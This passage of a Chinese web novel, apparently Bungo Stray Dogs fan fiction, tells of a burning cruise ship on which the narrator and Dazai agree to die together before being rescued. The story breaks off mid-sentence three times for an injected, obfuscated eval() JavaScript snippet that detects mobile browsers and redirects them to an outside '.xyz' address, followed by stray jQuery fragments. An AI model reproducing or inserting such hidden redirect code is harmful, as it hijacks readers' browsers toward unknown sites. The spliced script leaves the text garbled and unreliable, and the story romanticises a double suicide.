我配合地走到他身前学着和他一样双手张开,装作无奈道:“好吧,只陪你玩一次哦。”
“YOU JUMP”
“……”
身后的太宰治没了动静,我不明所以,手却已经被太宰治抓住了,疼地我抽了口凉气。
太宰治的脸色一下变得更难看了。
“是刚才在大厅时弄得吗。”他低声问道,学着和他一起做那个经典动作时让他看到了我的伤口。
子弹从左手手心穿过手背,破开的洞一刻不停地潺潺流着鲜血,几句话的功夫就在脚下砸出了一个小水坑。
幸亏□□的子弹口径较小距离又远,不然我现在就是壮士断腕。
太宰治的目光凝视在我被贯穿的手心上,眼中几番明灭,他看着伤口既喜悦又担忧,最后沙哑着嗓音问我:
“雪纪,你疼不疼啊。”
“不疼,”我笑起来,满意太宰治现在心疼与懊恼交织的表情,这可是非常难得的景色。
“只要你哄哄我就不疼。”我这伤就算不白受。
“但用你的绷带包扎就免了。”我及时制止了太宰治扯绷带的动作。
他这才安静下来,从口袋里掏出崭新的绷带细心地包扎好伤口,动作细心又虔诚,直到把我的手包成粽子他才闷闷地说:
“我开始讨厌这艘船了,接下来要把敌人通通解决掉。”
我惊讶问:“还没有解决吗。”
“没有哦,还没有真正解决。”
随着太宰治的话音落下,我们身后游轮主体传来一声巨响,霎时火光冲天。
“甲板才是最后的舞台。”
33.不想让你讨厌我
拿捏i人只需要一句话
*
历史上的卢西塔尼亚号被德国人击沉,在爱尔兰海上的一次普通航行葬送了它“大西洋快犬”之名,因它的沉没坚定了美国向德国宣战的信念。另一艘举世闻名的游轮泰坦尼克号因与冰山相撞葬送海底,连巨人“泰坦”都染上了不详的气息。
从今天起,“妙高”号或许要成为下一个身负不详之名的轮船了,能把两艘轮船沉没的理由叠加在一起也是前无古人后无来者了。
直升机在头顶不停地盘旋,重机枪冲着人群无差别扫射,原本争先恐后往救生艇上爬的人纷纷调头跑回船舱,上百人的调转方向跑步前进让本就倾斜的船体雪上加霜,登时又歪了一点。
惨叫哀嚎声不绝于耳,震得我耳朵疼。
萩原君和兵藤和也在组织人流不要再乱跑,伊藤开司喃喃自语:“这也太猖狂了,什么来头啊。”
我也是这么想的,未免也太大手笔。
直升机扫射了大概有十分钟终于停歇,我意识到该有关键人物出场了。正常走流程先武装威慑然后谈判,谈判不成直接物理摧毁。
在这种时刻,我不禁兴奋起来。太宰治一直在我面前保持着“凡人”的水准,无论是搞怪还是温润都是他的伪装,现在面对真正的敌人他会是什么样子呢,我很好奇。
我几乎迫不及待了,生命诚可贵,但我足以自保,我只想躲在一旁看看太宰治锋芒毕露时的光辉而已,给我更多迷恋他的理由。
直升机的声音在头顶盘旋,好像有人预备从上面跳下来。
“太宰君,他来了。”坂口安吾提醒道。
太宰治点点头,对伊藤开司说:“开司君,我有件事要拜托你。”
伊藤开司挺了挺身子,单手抱拳热血澎湃,“我知道了,到我用异能的时候了对吧,我愿意。”
“不用说我愿意,我不愿意。”太宰治无情拒绝,“我让你一会儿你带雪纪向外跑,抢到救生艇后立刻离开,好吗,我相信你和你的异能不会有事。”
那怎么行,我正要抗议,被太宰治不容拒绝地打断,“不行,你听我把话说完。”
然后他突然就卡壳了。
“雪纪我没有小瞧你,我只是,只是……”
没想到难以启齿这个词会用在太宰治的身上,我饶有兴趣地歪歪脑袋,被我这么一打岔酝酿好的情绪差点破功,太宰治没好气地掐住我的下巴,“我在很认真地说。”
他继续,“只是不想让你看到我难看的样子,一会儿我的面貌会变得很丑陋,你会讨厌我的。”
他说这句话时仿佛螃蟹被剖开了坚硬的外壳,留下内里柔软清甜的肉,如果再加上一点点醋,那就是绝妙的美味。
太宰治也要不想让人知晓的过去吗,他这副样子我只在那次无意中煮了咖喱饭时见过,那是一晃而过的怔松与怀念。
而现在正值紧要关头,他恐怕是不想让我看到属于他灵魂深处血腥暴力的部分吧?
但我还没看过呢,万一更爱了呢。
仿佛看穿了我的想法,太宰治双手画了个×,“不行,坚决不可以,哪怕是情侣也要保留隐私。”
“那好吧。”
我已经得到了我想要的答案。
爱最直观的表现是骄傲者胆怯,平庸者大胆,无论太宰治出于什么目的让我回避,我都很高兴他用这种理由拒绝我。
这是权衡利弊时天平朝我片刻的偏移。
但我没有接受和伊藤开司偷偷溜掉的计划,我俩决定去找萩原君和兵藤和也,看看能不能把一船的人都救下来。
刚接受异能者新身份的伊藤开司表示压力很大。
——
太宰治解决好一切过来时,萩原研二和兵藤和也忙着组织剩下的人排队登上救生艇,伊藤开司坐在地上喘气呼哧呼哧的像个老黄牛。
伊藤开司指着太宰治上气不接下气,“你下次,能快点,做掉敌人吗。”
我在一旁好心解释,“开司君计划带着人一次次往外冲,把人放到救生艇就回来再带一批人走。整艘船的人加一起有快两百人,一艘救生艇只能坐十个人,他要在枪林弹雨中来回穿梭二十次,刚刚直升机飞走时刚进行到第十一次。”
我蹲下来拿手帕替伊藤开司擦汗。
“其实我提醒过你,直升机应该很快就会飞走了,再等等不迟,你非热血上头。”
从直升机上下来的人是费奥多尔,而直升机和重机枪属于琴酒所在的组织,以双方塑料合作的关系没趁费奥多尔在地面上平等的来一梭子就算有良心了,怎么会乖乖地听费奥多尔指示。
伊藤开司有气无
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582540|153186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
力道:“你闭嘴。”
太宰治听我俩你一言我一语的,也没替自己辩解和人周旋有多不容易,只是夺过我的手帕放进我的口袋,又拉着我站起来。
我才发现他有点不太对劲。
但似乎只有我一个人发现,太宰治依然维持风度半点不出错,“辛苦开司君了,接下来这里的事就由安吾君负责,我和雪纪说几句话。”
说完拉着我走远了。
太宰治走在前面拉着我的手,我亦步亦趋地跟在他身后,连接的手臂如无形的桥梁让我和太宰治相向而行,早晚走到一起。
但他现在走得太快了,如果能等一等我就好了。
“太宰君,你……”
“雪纪,我恐怕要让你讨厌了。”
“?为什么。”
思索良久也找不到办法,他只能艰难地启齿,“接下来恐怕你会走进一些人的视线里,可能会对你的生活造成不好的影响。”
是费奥多尔和他说了什么吗。
忧虑,我从未在太宰治身上见到的忧虑。
他在为我可能遇到的危险焦虑,认为因为他出现在我身边,这份危险是由他带给我的。
这是一颗多么甜美的果实啊,我努力了这么久终于迎来了回报。
这是否说明太宰治真心喜欢上了我,我狂喜地几乎控制不住面上懵懂纯真的表情。
“没关系的,没关系,只要有你在,我不会让自己受伤,太宰君也不会对吗。”
太宰治的视线落在我被他草草包扎的左手上,看起来不太满意自己的作品。
“当然不会,我刚刚把那只死老鼠的帽子点着了哦,什么时候能把琴酒的那头银发烧成灰就更好了。”
噗,说实话我有点想看。
我们又回到了甲板上,人已经基本都撤到救生艇上了,萩原研二和伊藤开司坐在救生艇上,大声呼喊我的名字叫我俩快点下来。
就在这时,直升机去而复返。这次它没有对准人群开火,而是瞄准了救生艇和这艘[希望之船]。
顷刻间我和太宰治的四周变成了一片火海,好几艘救生艇也随着火光脱离绳索飘向了大海,萩原研二和伊藤开司的救生艇拼命向我们这边划,又被燃烧的大火击退。
这下真正意义上的全世界只有我和太宰治两个人了。
34.我是为你而来
i人接受你的死了么邀请
*
甲板被烈火炙烤发出噼里啪啦的响声,空气中弥漫着木板与塑料烧焦的气味,很快二氧化碳的浓烟味源源不断的涌到我的眼鼻之上,我弯腰咳嗽几声。
佛经中的八热地狱相传为杀人抢劫等重刑犯所做。八热地狱中天为烈焰地为热铁,无论这些刑犯生前多么狡猾在这里只能被烈火炙烤而无能为力,而八热地狱中的狱卒则一刻不停的鞭打他们的魂体,将他们投入铁水煎熬。佛说,这些烈火铁水武器都是他们生前的罪孽所化。
眼下的情形反而是一个重刑犯投下“神罚”对付另外两个重刑犯,如果世上真的有佛让我在地狱里受煎熬反倒好些,被黑吃黑也太不值了。
我和太宰治贴得更近,两个炽热的身体挨在一起的结果就是我俩头顶上的汗不要钱似的往外掉,但还没从额头滑到下巴就被蒸发成水蒸气消失的无影无踪。
“太宰君,那边火小一些。”
我拉着他往西边跑,太宰治顺从地跟上,垂下的额发因耀眼的火光在脸上投出橘红色的光晕,薄如蝉翼的面皮几乎要被那光晕吞噬。
我们勉强找到了一个暂时安全的地方,船头目前还没被波及。但这里离萩原研二和伊藤开司所在的救生艇太远了,在海浪的作用下不管怎么努力都将小船越推越远,而其他人看到大火早就忙不迭划船游得飞快逃命,似乎没有人能救我们。
跳海的话或许有一线生机,我的水性很好。
不过海浪太大了,一切皆有可能。
太宰治环顾了下四周,红鸢色的眼珠动了动,我以为他想到了办法,连忙问:
“怎么办啊太宰君,这下我们真的要殉情了。”
“这不是很好吗。”他笑着说。
看到我错愕的表情,太宰治笑得更放肆了。
“哈哈哈哈,哈哈哈,雪纪,你不觉得在火中相拥死去的场面很美吗。你是作家,能想象到的。”
黑色的大衣包裹着他,仿佛有看不见的丝线操纵他的一举一动。
又或许一直是我错了,其实平时的太宰治才是被丝线操控的木偶,他踉踉跄跄地调动四肢演戏过着世人眼中正常的生活,如今线被大火斩断,木偶受惯力影响走了几步后又跌倒,发出自由的声音。
太宰治在火海中大笑,那声音却如婴儿啼哭般令人心惊。
他到底是在委屈,还是洒脱?
见我真的被吓住了,太宰治的笑声戛然而止,他重新收敛眉目表情淡然从容,和地铁上偶遇的上班族没什么两样,又变成了风度翩翩的青年。
“当然,一个人以拥抱的姿势投入火海也很美,去吧雪纪,不用管我。”
在我作出选择之前,他先将我推开了。
怎么说,我之前一直以为殉情紫砂只是太宰治的兴趣爱好,只是嘴上口花花,毕竟落水那么多次他都没死。可眼下看到这样的太宰治,我才意识到他每次都是真心想死的。
他努力寻找这个世界让他留恋的地方,世界给他的答案就是每一次紫砂都刚刚好留下了他的命。
但太宰治觉得还不够,“世界”给他的爱太浅薄了,不足以支撑他活过下一个冬天。
那我对死亡厌恶的态度会不会增加他的负担?
我承认我对太宰治的了解还有许多不足。
但我不想放手。
“太宰君,你知道补特伽罗吗。”
“补特伽罗在梵语中意味着芸芸众生,生命的本体,也就是[我],行走在世间的[人]不过是补特伽罗的肉身。前世今生,西天地狱是补特伽罗成佛的必经之路,通俗的讲,补特伽罗就是灵魂。”
前世去世之前我有一段时间对宗教萌生了巨大的兴趣,本国的神道教,西方的基督和僧人东渡六次才传来的佛法均有涉猎。当人意识到肉体凡胎无法改变“命运”时,总会下意识依靠宗教寻找心灵的寄托。
岁月是个回旋镖,从前我看到街上传教的教徒都要翻白眼。
“人死后补特伽罗不灭,轮回转生直至超脱。我曾想,如果世上真有补特伽罗即便死去也无妨,但见到你后我改变了想法。”
我曾去过大阪的四天王寺,那是日本最早的寺庙。千年前圣德太子在与物部派开战前向四天王许愿,得胜后为天王建寺供奉。果然大胜,遂下令修建。飞鸟时代的工匠穿着唐风的服饰,建起他们心中的佛安身之处。
因为四天王寺的修建就伴随着许愿与诺言,我专程来到了那里,在佛像前发下宏愿。
走到佛塔的最顶层,抬眼是广袤的天
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14597145|153186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
空,垂目是求告的凡人。
暮鼓时分,钟声响起,飞鸟惊林,万丈霞光。
我坐在窗前打坐,感觉[补特伽罗]飞离了我的肉身。它一路流浪,在见到太宰治的那一刻停止了这漫长的旅程。
心里乱乱的,我开始有什么说什么,听不出主次。
我对太宰治说:
“见到你后,我觉得不管是肉身还是补特伽罗都千万不要死去,因为我太晚认识你了,如果死掉要轮回寻找多少次才能找到你呢。”
“我以前……也是个不爱惜生命的人呀。”
“不信你问纯子,我可是最高记录在期末周三天只睡了4小时的人哦,医学生太累了再给我次机会绝对挑个轻松的专业,反正毕业后都要转行。”我开始碎碎念。
……
天呐,我在说什么。
我太爱胡思乱想了,眼前这种紧要关头,在太宰治面前,反而越紧张越容易胡思乱想说错话。
看到太宰治惊讶地差点合不上嘴,少见犯蠢的表情,我忍不住噗嗤一笑。
原本深情无悔,放到电视剧里要提前预告三天的名场面瞬间崩坏。
“咳咳,说多了都找不到重点,我其实只想告诉你。”
我轻轻地拥抱住他,就和那天在浴室里太宰治拥抱住我一样。
由水到火,我自认为这代表我们的感情逐渐火热。
火苗离我们越来越近了,几乎要撩到太宰治黑色的大衣。
在这一刻,我突然庆幸自己的打扮庸俗又隆重,亮眼的银色亮片短裙和高跟鞋,故意浓妆艳抹后的脸似有万众风情,让太宰治即便到了黄泉也能一眼认出我。
希望当他到达黄泉时看到的不是全身布满蛆虫的我,然后重蹈古老神话里二神的悲剧。
之前所有的阴谋诡计在死亡前都轻如鸿毛。
我曾想让太宰治活下去,不管是爱我还是恨我只要他活着就好,现在觉得死亡也未尝不可。
如果我的喜欢不能支撑他活过下一个冬天,那就让我们的故事在春天落幕吧。
我只想对他说:
“太宰治,和你在一起去哪儿我都愿意。我的肉身和补特伽罗只为你消亡。”
*
好肉麻,希望他不要嫌弃。
35.孤山为你哗然(入v公告)
胆小鬼被i人的爱吓到
*
遥远的远方已经出现了漫长的天际线,在东边的海平面太阳隐约探出了头,但游轮这边还是彻骨的黑夜。如果从码头看去,这座烧着的游轮仿佛是一团从天而降的陨石落到海上,喷薄而出的火焰似乎要将大海烤干,燃烧的颜色染红了半个天边,恐怕半个横滨市的人都看见了。
不过对于横滨市民来说,这应该算家常便饭,站在自家楼上的窗头眺望一眼就继续睡了。
所以不会有人看到我和太宰治还在船上,模糊的人影说不定被看成两块巧夺天工的石头,跨越几万光年来到人间。
我们在万众瞩目下相拥,又只有彼此听到对方的耳语。
我爱死了这种调调。
浪漫又疯狂,压抑又热烈。
网上说,i人虽然普遍内向不爱社交,但如果亲近的人直接拉ta出去玩ta是不会拒绝的,甚至会很兴奋。所以我虽然一直对太宰治表达我不喜欢这样,但如果他真的邀请我的话,我是不会拒绝的。
只要是太宰治就可以。
不信测试的我也可以说,写作上有大成绩的人多少都有点表演型人格,不然怎么把自己脑内的跌宕起伏变化成文字让其他人跟着一起读得心惊肉跳呢。太宰治说得对,我可以想象到两个人相拥着死去的场面有多绚烂。
所以,决不能让他放我一人独活,那样太无趣了。
起风了,如果现在上演的戏剧是卖火柴的小女孩,我会很欣慰火烧得这么大。
火舌顺着风向一次次向我们探出蛇信子又似乎顾忌着什么没有发起进攻,只是将我们围成了一个圈,我和太宰治站在风火的中心。
我双手抓紧了太宰治后背上的大衣,把自己蜷缩在他的怀抱里。
如果真的能和他死在这里的话,死得这么美,之前的计划就都不重要了。
太宰治是个能打乱我生活的人。
猫会把水杯打碎,把粉底丢在地上,你崩溃地为它收拾烂摊子,默许了它入侵你的生活,打乱你一天的计划。
我现在就是这种感觉,一退再退,忘乎所以,连我来横滨是为什么都不知道了。
太宰治镇定地听我说完之前的那些话,在我冲过来时同样抱住我。
他安静地过分,像个不会说话的洋娃娃,考虑到他东方人面孔应该是女儿节时供奉的雏人偶才对。
我很喜欢这些小玩具,但雏人偶是手工制作的价格昂贵,在我前世小时候是做梦买不到的,只能去同学家玩时摸一摸解馋。后来有钱了,买下了一整套人偶放进柜子里,但我已经过了玩娃娃的年龄了。
来到这个世界,我更没有机会赏玩人偶了。
可爱的太宰治,他能不能成为我的人偶呢。
太宰治终于动了一下。
他的手顺着背部的脊骨一寸寸往上,一路摸到我的头发,用手指耐心地把奔波一晚凌乱的长发梳理整齐。
这种行为反倒像他为娃娃梳洗打扮了。
紧接着,他一声叹息将我从神游天外拉回了正在燃烧的大船,热气扑面而来,原来不是火星落到了我的鼻尖,而是太宰治侧过头吻了吻我。
我的身体不受控地僵住了。
这是我们第二次接吻吧,第一次还是在大厅偷偷摸摸又急切地搂在一处,吻得我乱七八糟。
这回就好多了。
这个吻比太宰治的碎发落在我的眼皮上还要轻,又轻又温柔,还有一丝胆怯与爱怜。
他和所有人的关系都如此的轻,似乎没有人能阻碍他的决定。
我只希望这个吻不是他对我爱意的怜悯,于是干脆换成了我主动,迎着太宰治放大的瞳孔按住他的头把自己的双唇用力撞上去。
唔,疼。
“没经验就是这样的,多来几回就好了。”
我豪迈地一抹嘴,太宰治的牙把我嘴唇磕破了,风一吹火辣辣的疼。
没理会太宰治从谨慎到迷茫再到惊恐的情绪转变,我恶向胆边生,甩掉高跟鞋,仰起头由下至上贴上了他的唇角。
我都决定陪你一起葬身火海了诶,还在乎这个?当然要趁着还有命在亲个够本啊。
太宰治:……
他僵硬地张开双臂任我藤萝似的缠绕在他身上,两眼失去高光,“雪纪,被你搞得我都忘记我要说什么了。”
“可以不说,反正你说话我不爱听。”
“太伤人了雪纪,我可是有很重的偶像包袱
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601285|153186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只对亲密的人犯中二病的!”
太宰治说着执起我受伤的左手,右手换上我的腰,示意我把脚放到他的鞋面上。
我知道他要做什么了。
就这样跳完人生的最后一场舞吧。
太宰治搂紧我的腰,凑近了将我仔仔细细从头到脚打量了一遍,我俩第一次见面,我救起落水的他时差不多就是用这种眼光欣赏美男子的。
太宰治跟第一次认识我似的,眼睛里是无限的好奇与迷茫,和在火中大笑的小疯子判若两人。
他在想什么呢?他会觉得我在说谎,言不由衷吗。
与我的胡思乱想刚好相反,太宰治长叹了口气,带着妥协与无可奈何。
“雪纪,你总是让我感到惊诧。”
从今晚见到他开始,太宰治的脸上第一次有了真心实意的笑容,还带着幸福的味道。
“我有点被你吓到了。”
真是个胆小鬼。
——
一曲舞毕,我和太宰治就商量着挑个好看的死法,反正看样子也等不到救援了。
“要不直接走入火海吧,背影看上去很唯美。”
“好。”
太宰治挪着小碎步靠近了下火焰,小心地伸出一根手指,碰到火苗的瞬间娇气地诶呦一声,退回来商量着问:
“烧死太疼了,雪纪我们还是落水吧,这个我熟。”
“也行,《平家物语》里兵败后的平家女子也是在燃烧的大船上一个个投水而死,以示气节。咱俩会做出这样的选择归根结底还是那群家伙的错,将我们逼至险境,投水也算扬古了。”
我欣然同意。
于是我俩爬到栏杆上,十指紧扣,“一二三。”
跳!
没有口鼻入水的呛人,没有水压挤压胸腔的窒息感,连身上都干干净净清清爽爽的。
还被人提溜起来了?
“你们俩在船上又唱又跳玩得很开心嘛。”
中年人阴沉磁性的男中音里压抑着不亚于船上的滔天怒火。
睁开眼,侦探社社长手握长刀合拢入鞘,他的旁边萩原研二、伊藤开司、坂口安吾都面色不善地看着我俩。
我和太宰治对视一眼,完了。